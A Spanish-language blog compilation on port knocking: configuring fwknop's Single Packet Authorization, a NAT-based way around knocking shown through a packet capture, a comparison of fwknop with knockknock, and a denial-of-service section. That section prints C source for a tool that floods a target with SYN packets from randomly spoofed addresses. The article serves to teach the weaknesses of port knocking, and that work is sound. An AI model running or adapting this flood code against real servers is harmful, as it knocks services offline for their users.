DEFENSA OFENSIVA POR OSCURIDAD -PORT KNOCKING SERIES -"ALL IN ONE"-
He querido recopilar en un solo artículo las cuatro series que expuse en 0verl0ad.para que lo tengáis "todo en uno" y tranquilamente no tengáis que dar muchas vueltas si deseáis información sobre Port-Knocking
ALL IN ONE
DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING I
Para la definición de Port knocking prefiero la de Wikipedia por sencilla y según nuestra amiga ..
El golpeo de puertos (del inglés port knocking) es un mecanismo para abrir puertos externamente en un firewall mediante una secuencia preestablecida de intentos de conexión a puertos que se encuentran cerrados. Una vez que el firewall recibe una secuencia de conexión correcta, sus reglas son modificadas para permitir al host que realizó los intentos conectarse a un puerto específico.
El propósito principal?
Evitar el scaneo por parte “usuarios” malintenciotenados ..
Para que? Buscar vulnerabilidades? Of course ¡!
“Normalmente” ( así debería ser siempre, pero veremos que no) los puertos donde se dan los servicios se muestran cerrados como una técnica típica de defensa perimetral ya que los mismos servicios expuestos solo se abrirán ante un Port Knocking correcto.. y esto ocurrirá gracias a la implementación en este servicio para que revise el log del firewall … Si claro!! para que detecte, como es lógico, esta secuencia de intentos de conexión.
Voy a hacer hincapié en lo que yo, diariamente, tengo junto a mis compañeros .. y supongo que muchos de los que me estén leyendo sabrán a que me refiero..
El mayor uso del Port-Knocking ?? No adivináis por donde los “malos” o lo bueno, según se mire, nos intentan entrar ..?
Venga ya… ¡! Puerto 22 ? Suena bien verdad? ;), Pues Secure Shell (SSH) es quien se lleva la palma .. y aquí tenemos algo muy parecido a un handshake secreto
Existen tantas maneras … podemos es tener un proceso examinando paquetes con alguna interfaz sniffando paquetes pero TCP siempre Open, of course ¡!
Realmente la idea es que el cliente tenga una aplicación que ejecute el Knocking antes de acceder al server de manera normal.
Un servicio se encuentra escuchando en la máquina donde está el firewall .. con programa que ejecute comandos de ping o te creas un generador de hash.
Si un usuario ejecuta una secuencia errónea de PK pues el puerto simplemente estará cerrado .. y es el que debería estar abierto .. es sencillo realmente ..
Pero, como ya explicaré, esto no es tan “efectivo” como pueda parecer … ;)
Pero…Como funciona ?
Port knocking 4 Pasos
1 El cliente no puede conectarse a una aplicación que se encuentra escuchando en el puerto n.
2 | (1,2,3,4) -El cliente intenta conectarse a un conjunto predefinido de puertos en secuencia, enviando ciertos paquetes. El cliente tiene conocimiento previo del servicio de golpeo de puertos y su configuración, pero no recibe ninguna respuesta durante esta fase ya que las reglas del firewall no lo permiten.
3 El servicio de port knocking intercepta los intentos de conexión y los decodifica para verificar un golpeo auténtico. El servidor realiza tareas específicas basadas en el golpeo de puertos, como abrir
4 El cliente se conecta al puerto n recientemente abierto.
Por ejemplo no es necesario que el Knocking venga de intentos de conexión o el Knocking puede ser encapsulado en un payload y que este se envíe al puerto cerrado .. Existen diferentes maneras, pero lo importante es la comprensión del “Golpeo de puertos”.Quiero comentar que esto es la idea general pero que este comportamiento puede ser cambiado “al gusto”..
HERRAMIENTAS
knockd es una herramienta de port-knocking de primera generación, que funciona enviando una secuencia ordenada de intentos de conexión a puertos TCP o UDP pero tenemos posibilidad de que la secuencia de puertos sea interceptada por un atacante, siendo por tanto superado este primer filtro con facilidad.. poco seguro ..
Por lo tanto fwknop, que implementa Single Packet Authorization (SPA), conocido como técnica de port-knocking de paquete único(se ampliará,,,)
En este caso, toda la secuencia -o contraseña- se encuentra dentro de un único paquete cifrado, evitando así la captura de los datos y no teniendo el problema de pérdida parcial de paquetes.
Otras funcionalidades de fwknop aumentan la seguridad, como la inclusión de la IP de origen dentro del paquete cifrado, lo que dificulta un ataque Man in the Middle, así como el soporte para usar criptografía de clave pública.
Se puede encontrar muy buena información sobre fwknop y el funcionamiento de SPA en la página oficial de fwknop.
Asi que, creo que se impone implementarlo no? Vamos allá
Implementando (SPA)con “fwknop”..Al lío
FireWall KNock OPerator a.k.a fwknop es una herramienta más avanzada que knockd, y utiliza la técnica de port-knocking de paquete único (SPA) frente al envío de secuencias de paquetes que ya hemos visto. En este caso el cliente y el servidor de port-knocking van en paquetes separados.
$ aptitude install fwknop-server fwknop-client
Durante la instalación del servidor nos pide una serie de datos de configuración, como la interfaz de red donde debe escuchar fknopd en modo promiscuo y la clave para cifrado y descifrado del paquete SPA recibido. Además nos consulta por defecto si queremos proteger el puerto ssh, realizando la configuración necesaria. A través de los ficheros de configuración también podemos establecer estos parámetros, como veremos a continuación.
El fichero /etc/fwknop/fwknop.conf contiene una extensa relación de parámetros sobre el funcionamiento de fwknop, principalmente relacionados con el cortafuegos. De este fichero editamos el interfaz de red donde escucha fwknopd (en nuestro caso lo) y si nos parece oportuno el puerto hacia el que se envía el paquete SPA (por defecto UDP 62201).
Los parámetros susceptibles de modificar son los siguientes:
OPEN_PORTS, que define el puerto y el tipo de conexión a proteger a través de port-knocking.
FW_ACCESS_TIMEOUT, que define el tiempo máximo establecido desde la recepción del paquete correcto hasta que se produce la conexión ssh.
KEY, que define la contraseña de cifrado y descifrado del paquete SPA recibido (por defecto fwknop usa el algoritmo Rijndael).
En este ejemplo vamos a utilizar cifrado simétrico, pero es interesante mencionar que fwknop soporta el uso de criptografía de clave pública (de hecho es la opción recomendada por la documentación oficial) de forma similar a SSH. Una vez generado el par de claves con gpg, especificamos los datos necesarios en el fichero anterior, de acuerdo con los parámetros GPG_HOME_DIR, GPG_DECRYPT_ID, GPG_DECRYPT_PW y GPG_REMOTE_ID. Por otra parte, el cliente fwknop (cuyo uso veremos más adelante) debería ejecutarse añadiendo las opciones --gpg-recip y --gpg-sign.
Reiniciamos el servidor fwknopd y comprobamos qué procesos están ejecutándose:
Además del servidor fwknopd, vemos los procesos correspondientes a knoptm (daemon responsable de eliminar reglas de iptables) y a kfnopwatchd (daemon que monitoriza el buen funcionamiento de fwknop).
Para monitorizar el servidor fwknop y ver los envíos de paquetes SPA se puede consultar el syslog del sistema.
# tail -f /var/log/syslog | grep fwknop
Una vez en funcionamiento el servidor fwknopd, acudimos al cliente (fwknop) para enviar un paquete SPA a localhost y comprobar su funcionamiento.
Como podemos ver, hemos enviado desde nuestra ip de origen (-a localhost) un paquete SPA al puerto udp/62201 de la ip donde escucha el servidor fwknopd (-D 127.0.0.1).
Este paquete tiene un tamaño de 182 bytes y ha sido cifrado previamente a su envío con una clave simétrica que nos ha sido solicitada (Encryption Key: 12345678) y que debe coincidir con la definida en el fichero /etc/fwknop/access.conf.
Ahora comprobamos qué ha recibido el servidor, consultando el fichero de log.
fwknopd ha recibido correctamente el paquete SPA, lo ha descifrado y lo ha reconocido como válido, añadiendo a iptables una nueva regla que permite conexiones al puerto tcp/22 durante 30 segundos. Al transcurrir este tiempo, la regla es eliminada a través de fnoptm y regresamos a la situación inicial.
Por último, para el que quiera profundizar en los aspectos más criptográficos de la herramienta, solamente decir que fwknop construye el paquete SPA concatenando los datos que muestra el cliente (Packet fields), codificando en Base64 y cifrando con el algoritmo Rijndael, dando lugar a los 182 bytes finales.
Para más información consultar el código fuente de fwknop y fwknopd (scripts en perl), los módulos MIME::Base64, Crypt::CBC y Crypt::Rijndael (también disponibles vía comando perldoc), y la documentación oficial sobre SPA que describe con detalle la estructura del paquete envíado.
Pero no he terminado … Mi Opinión
1-Si descubro la forma de acceder a la puerta se acabó el juego señores .. esta capa desaparece y el servicio queda protegido exclusivamente con la seguridad que existiese debajo del Port-Knocking ..
2- Ataques MitM.
* En el caso de knockd : Capturar su secuencia de puertos es rápida, de hecho es INMEDITA.
fwknopd va cifrada, solucionada .., el uso de este único paquete SPA elimina los errores en la recepción de la secuencia de puertos
Que a nadie se le ocurra tener Port-Knocking como única defensa porque no es viable...
Pero yo me pregunto .. Incluir en una Tool “malvada” el Knocking? Puede ser curioso verdad?
DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING II -BURLANDO AL FIREWALL-
En esta segunda entrega vamos a ver que se puede hacer si quisiéramos atacar una defensa perimetral donde existi un port-knocking.. o visto de otro modo, cuales son las vulnerabilidades de esta "defensa"?
Exsiten voces que claramente abogan por la revisión completa de los mecanismos usados en Port-Knocking para la autenticación debido a los problema de (in)seguridad que conllevan y hace que sea vulnerable a lo que se conoce hoy y vamos a ver. NAT-Knocking
Pero recordamos rápidamente cual es la secuencia de autenticación.
1-El cliente comienza a hacer conexiones a los puertos, con el fin de generar entradas en el registro del servidor.
2-El servidor está analizando ese registro, y cuando detecta una secuencia válida se calcula el puerto de servicio (puerto 22 pongo siempre de ejmplo...) y la dirección del cliente
3-Se modifica la política de conexión con el fin de abrir el puerto que ha solicitada el cliente .
Desde el punto de vista del cliente, los puertos que tienne que hacer el “golpeo” "se puede calcular como:
p1 = f1 (puerto abrir, dirección del cliente; :::) (1)
p2 = f2 (puerto abrir, dirección del cliente; :::), (2)
etc. . , Donde p1 es el primer puerto utilizado en la secuencia de “golpeo”, P2 es la segunda, etc. .
Desde el punto de vista del servidor, todos los parámetros del servidor “golpeando” el puerto se tienen que tener en cuenta en la modificación de las políticas del cortafuegos que pueden expresarse como:
Puertos_abierto = f3 (p1, p2; :::; pn), (3)
IP_permitida f4 = (p1, p2; :::; pn), (4)
y así sucesivamente....
Mecanismo de Autenticación Port-Knocking
NAT-Knocking<Burlando al Firewall>
Al compartir la misma dirección de red nos podemos encontrar con un serio problema de seguridad cuando estamos “Nateando”.
De nuevo ( si, soy muy pesado si … pero no se te olvida, ya verás ..) y como indico y repito , el port-knocking se basa en la idea de la apertura de puertos en el cortafuegos sólo para los clientes que han proporcionado la contraseña correcta a través de los “golpes” correctos contra el servidor. Para indentificar quien el el cliente al que se le debe abrir o no, el port-Knoking recae sobre la dirección de red del cliente.
Pero sin embargo, esto plantea la cuestión de lo que podría suceder si dos clientes comparten la misma dirección .. Por ejemplo “Nateando” (NAT)
Como se muestra más adelante en la Figura 2, cuando los paquetes desde el interior de la NAT salen de la red privada todos ellos comparten la misma dirección de origen (la dirección pública del NAT) y los paquetes no se pueden utilizar para identificar la fuente que existe detrás del NAT SIN PODER ACCEDER A LAS “TABLAS DE NATEO DEL ROUTER”
Como el port-knocking se basa en la dirección de red para abrir los puertos necesarios para los clientes de “confianza”, no puede diferenciar entre todos los clientes detrás de la misma dispositivo NAT. Como resultado de ello, cuando un cliente en una red que utiliza el mismo NAT se identifica ante el servidor “tocando” el puerto obtiene acceso total al puerto de servicio, que le ha dado por utiizar el mismo dispositivo para hacer NAT (y, en consecuencia, comparte la misma dirección de red pública).
Por otra parte, cuando el usuario es de confianza "golpeando" el cortafuegos no hay
necesidad de que un atacante potencial tenga que "ver" la secuencia de autenticación, sólo
hay que esperar hasta que el puerto de servicio está abierto para tener acceso a ella sin saber la secuencia de autenticación. Un ejemplo puede verse en la Tabla 1: Cliente
172.16.8.102 es el usuario autorizado que autentifica utilizando enfleche portk con
Tabla 1. Captura de red del ataque NAT-Knocking
No. Fuente Destino Info Protocolo
1 172.16.8.102 163.117.149.93 TCP 32987! 7682 [SYN]
2 172.16.8.102 163.117.149.93 TCP 32988! 7697 [SYN]
3 172.16.8.102 163.117.149.93 TCP 32989! 7810 [SYN]
4 172.16.8.102 163.117.149.93 TCP 32990! 7800 [SYN]
5 172.16.8.102 163.117.149.93 TCP 32991! 7811 [SYN]
6 172.16.8.102 163.117.149.93 TCP 32992! 7809 [SYN]
7 172.16.8.102 163.117.149.93 TCP 32993! 7673 [SYN]
8 172.16.8.102 163.117.149.93 TCP 32994! 7686 [SYN]
9 172.16.8.102 163.117.149.93 TCP 32995! 7603 [SYN]
10 172.16.8.102 163.117.149.93 TCP 32996! 7682 [SYN]
11 172.16.8.102 163.117.149.93 TCP 32997! 7602 [SYN]
12 172.16.8.102 163.117.149.93 TCP 32998! 7887 [SYN]
13 172.16.8.102 163.117.149.93 TCP 32999! 7699 [SYN]
14 172.16.8.102 163.117.149.93 TCP 33000! 7808 [SYN]
15 172.16.8.102 163.117.149.93 TCP 33001! 7629 [SYN]
16 172.16.8.102 163.117.149.93 TCP 33002! 7602 [SYN]
17 172.16.8.102 163.117.149.93 TCP 33003! 7686 [SYN]
18 172.16.8.102 163.117.149.93 TCP 33004! 7663 [SYN]
19 172.16.8.102 163.117.149.93 TCP 33005! 7655 [SYN]
20 172.16.8.102 163.117.149.93 TCP 33006! 7692 [SYN]
21 172.16.8.102 163.117.149.93 TCP 33007! 7992 [SYN]
22 172.16.8.102 163.117.149.93 TCP 33008! 7839 [SYN]
23 172.16.8.102 163.117.149.93 TCP 33009! 7637 [SYN]
24 172.16.8.102 163.117.149.93 TCP 33010! 7990 [SYN]
25 172.16.8.102 163.117.149.93 TCP 33011! 80 [SYN]
26 163.117.149.93 172.16.8.102 TCP 80! 33011 [SYN, ACK]
27 172.16.8.102 163.117.149.93 TCP 33011! 80 [ACK]
28 172.16.8.102 163.117.149.93 HTTP GET / HTTP/1.1 info.php
29 163.117.149.93 172.16.8.102 TCP 80! 33011 [ACK]
30 163.117.149.93 172.16.8.102 HTTP HTTP/1.1 200 OK
31 172.16.8.100 163.117.149.93 TCP 1196! 80 [SYN]
32 163.117.149.93 172.16.8.100 TCP 80! 1196 [SYN, ACK]
33 172.16.8.100 163.117.149.93 TCP 1196! 80 [ACK]
34 172.16.8.100 163.117.149.93 HTTP GET / HTTP/1.1 info.php
35 163.117.149.93 172.16.8.100 TCP 80! 1196 [ACK]
Podemos ver en la figura 2 como dos hosts A y B comparten la misma IP pública
abordar, por lo que tienen que utilizar NAT para acceder a otras redes. El Paquete 1(creado por A) se traduce en el paquete 2, donde la dirección de origen y el puerto han cambiado a la dirección pública y un puerto libre en el dispositivo NAT. El mismo proceso es realizado con el paquete 3 de B. Como se puede ver, desde el exterior de la NAT es
imposible determinar qué paquete proviene de qué origen usando esa dirección ( source addresses)
Los Hosts A y B que comparten la misma red con la dirección del servidor 163.117.149.93 Y VEMOS que solicita la apertura del puerto 80. Podemos ver todos los “golpes”(knocks”) enviados al servidor ( mirar del 1 a 24 ) y cómo, después de que el cliente es capaz de conectarse al puerto 80 procede a establecer con la comunicación normal ( del 25 al 30 )
Sin embargo, la dirección 172.16.8.102 cliente está “NATEANDO”, y otro cliente en el mismo red (172.16.8.100) puede conectarse PERFECTAMENTE SIN NECESIDAD de hacer ese golpeo de puertos (del 31 al 35).
Espero que os haya parecido interesante, porque todavía quedan más....
DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING III -KnockOut-
DoS..knockOUT Fuera de Combate (DoS Knocking Attack)
Recordamos de nuevo ( Sorry, soy un pesado) que la idea central del Port Knocking es que se envía una secuencia de paquetes a un servidor y este tiene el "efecto" de ajustar las reglas del cortafuegos para permitir la conexión a través de un puerto que el cortafuegos tiene previamente cerrado.
También hemos visto como burlar al Firewall con NAT con este tipo de implementaciones y como ya dije existen muchas voces abogando por un cambio en las estructura del Port Knocking..
Como es lógico y para que funcione correctamente, el "Port-Knocking Server" debe intenta controlar la conexión hecha en su contra, por lo que puede buscar patrones de autenticación y los puertos abiertos cuando sea solicitado por los usuarios autorizados. Esto implica que un proceso debe analizar los logs en tiempo real para detectar automáticamente las secuencias.
Si analizamos la forma en que el puerto "golpea" nos damos cuenta que el proceso necesita un "buffer" por cada uno de los clientes que quieren realizar la conexión, por lo que el proceso es capaz de rastrear cada secuencia de autenticación.
Si un atacante logra enviar paquetes falsificados con las direcciones de red de origen aleatorios (de la misma manera algunos gusanos se propagan) el proceso "the parser process" tendría que crear un "buffer" para cada una de las direcciones, por lo que haciendo que este proceso deba consumir grandes cantidades de memoria.
(Más adelante veremos un ejemplo en código)
Otras dos consideraciones acerca de los ataques de denegación de servicio en "portknocking" es sobre el cifrado de parámetros y el rendimiento del "parser"..se recomienda cifrado de parámetros de manera que se puedan lograr dos principios básicos de seguridad de la información como son la integridad y la confidencialidad.
Para lograr este cometido de confidencialidad e integridad la recomendación es el uso de "one-time-passwords" para evitar ataques de repetición (reply attacks).
Estado del servidor de "portKnocking" (vmstat) durante el proceso de ataque DoS con un intervalo de tiempo entre las medidas de 5 segundos
De cualquier manera,se implemente o no criptografía, el análisis de tráfico siempre es posible, dándonos la pista sobre le mecanismo de autenticación utlizado ..
Si un atacante puede recopilar datos de este mecanismo que incluyen varias autenticaciones, este puede darse cuenta de que antes de cualquier conexión a un puerto protegido hay una serie de intentos de conexión contra puertos cerrados (y en función del número de autenticaciones capturados, podría ser posible para identificar los puertos válidos que están siendo utilizados y su oscilación)
Código usado para el Ataque KnockOut (DoS-Knocking)
Este es el Código fuente para generar un ataque que consiste en el envío de paquetes con direcciones de origen falsas al azar a los puertos "al azar" en el blanco.
#include "forgeit.h"
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[16],DEST[16];
int SOURCE_P,DEST_P;
int main(int argc, char *argv[])
{
int i, quantity, starting_port, range, fd_send;
if(argc != 5) {
printf("\tusage: %s ip_dst quantity init_port port_qty\n",
argv[0]);
exit(0);
}
DEV_PREFIX = INTERFACE_PREFIX;
memset(SOURCE,0,16);
memset(DEST,0,16);
srand(time(NULL));
strncpy(DEST,argv[1],15);
quantity = atoi(argv[2]);
starting_port = atoi(argv[3]);
range = atoi(argv[4]);
fd_send = open_sending();
for (i=0;i<quantity;i++)
{
snprintf(SOURCE,15,"%d.%d.%d.%d"
,1+(int)(254.0* rand()(RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0)));
SOURCE_P=1024+(int)(60000.0*rand() / (RAND_MAX+1.0));
DEST_P=starting_port+(int)(((float)range)*rand() /
(RAND_MAX+1.0));
transmit_TCP (fd_send, SOURCE, SOURCE_P,DEST, DEST_P,SYN);
}
return 0;
}
(Ejemplo basado en el código de Brecht Claerhout para spoofip y sniper-rts modificado únicamente para mejorar el rendimiento de paquetes que envía)
DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING IV Michael Rash Vs Moxie
Fwknop versus Knockknock
En la primera parte hablé de manera consciente sobre Kwknop y como implementarlo. Se dejó claro que el resto de las implementaciones son inseguras y vulnerables a esquemas Man In The Middle .
Fwknop
Por esa inseguridad, es por lo que instalamos Fwknop de Michael Rash como mitigación a los ataques "Man In The Middle" .
Esta herramienta implementa Single Packet Authorization (SPA), conocido como técnica de port-knocking de paquete único.
En este caso, toda la secuencia -o contraseña- se encuentra dentro de un único paquete cifrado, evitando así la captura de los datos y no teniendo el problema de pérdida parcial de paquetes.
Otras funcionalidad de fwknop es que aumenta la seguridad, como la inclusión de la IP de origen dentro del paquete cifrado, lo que dificulta un ataque Man in the Middle, así como el soporte para usar criptografía de clave pública.
Todas las implementaciones de PK / SPA tienen tres objetivos principales:
1) la implementación de una política de firewall por defecto-drop para un servicio(como SSHD) con el fin de protegerse contra las exploraciones, las vulnerabilidades potenciales, y la fuerza bruta de contraseñas
2) La monitorización pasiva de los paquetes construidos y especialmente la información de autenticación del cliente PK / SPA
3) la reconfiguración dinámica del firewall para permitir el acceso temporal a la "protección"
Muchas personas no quieren Instalar Perl, Python, Ruby en Servidor de Seguridad de la OTAN por ejemplo . Esta herramienta está escrita en Lenguaje C .Tanto el Cliente y el Servidor fwknop estan en C - No existe la necesidad de perl, python, o cualquier Otro Lenguaje interpretado.
Bien.. hasta aquí solo he explicado sin hacer crítica de ella y a priori, esta herramienta es la existente como la única alternativa?
Evidentemente no ..
Knockknock
Veamos que dice Moxie a todo esto que he dicho...
Exactamente, Moxie establece los "por qué" de su "NO" a las implementaciones "normales" de Port-Knocking
No quiere algo escrito en un lenguaje inseguro?.Debe ser una aplicación muy pequeña, y los requisitos de funcionamiento debe ser mínimoS.
No quiere algo que se ejecuta en el kernel.
No quiere un nuevo servicio que se una a un puerto.
No quiere algo que utiliza libpcap e inspecciona cada paquete.
No quiere algo que utiliza UDP.
No quiere algo que genera evidentes peticiones dejando a un atacante saberexactamente qué puerto está a punto de abrirse.
No quiere algo que requiere que más de un paquete se mueve por la red.
No quiero algo que utiliza la criptografía "a medias"
Por lo tanto antes tales motivaciones Moxie creo KnockKnock
Cómo funciona knockknock:
Los Servidores ejecutan la aplicación en python 'knockknock-daemon', y los clientes de los puertos abiertos en esos servidores están ejecutando la aplicación python 'knockknock'
Si desea abrir un puerto de un cliente, se ejecuta 'knockknock', que envía un paquete SYN al servidor.
La IP del paquete y las cabeceras TCP están codificados para representar a una solicitud cifrada segura IND-CCA y para abrir un puerto se especifica la dirección IP de origen.
Los campos de este paquete se registran en kern.log y son procesados por 'knockknock-daemon ", que los validará
Se conecta desde el cliente hasta el puerto, ahora abierto en el servidor.
El puerto se cierra detrás de ti y no permite ninguna conexión nueva.
Escrito en Python
La solicitud se cifra con AES en modo CTR, con un HMAC-SHA1 utilizando el paradigma de "authenticate-then-encrypt"
Protege contra evesdropping, ataques de repetición, y todas las formas conocidas de criptoanálisis.
El protocolo de comunicación es un sistema de cifrado seguro IND-CCA simple
Knockknock-daemon necesita privilegios de root para ajustar las reglas de iptables, que emplea la separación de privilegios para aislar el código que realmente se ejecuta como root a ~ 15 líneas.
Pero según Moxie, aunque la base de código es muy pequeño y muy simple, la única parte del código que realmente ejecuta con privilegios de root es aún más pequeño y aún más simple.disminuyendo el riesgo
El código knockknock-daemon es muy simple, y está escrito en Python un lenguaje de "seguro" para Moxie.
Bien, una vez vistos, la cuestión sería.. Quien tiene razón ?
@michaelrash No quiere Python y Perl porque no lo considera lo suficientemente seguro para entornos corporativos grandes y aboga por C
Para @Moxie C es inseguro y no quiere nada que haga "cosas desconocidas" en su código.
Bueno PUES NI C es inseguro, NI Python TAMPOCO ... Aunque personalmente pienso que decir que C no es conveniente, me parece cuanto menos ridículo.
Esa es la opinión personal de Moxie que ha desarrollado su herramienta en otro lenguaje ..
Pero OBJETIVAMENTE, no se donde encuentra Moxie los "problemas que alude" de "lenguajes desconocidos" al hablar de esto.
Una u otra, eso va en vosotros ... Ninguna es mejor que la otra, son diferentes y esas diferencia viene planteada básicamente por el lenguaje de desarrollo, peor vamos, que ninguna de las dos agaunta el Knock-Out .
Ambos evitan el esquema de Man In The Middle .. Asi que, la decisión es vuestra .. Yo tengo la mía ya tomada hace mucho tiempo.
Un saludo
Juan Carlos García @secnight
Live Free Or Die Hacking
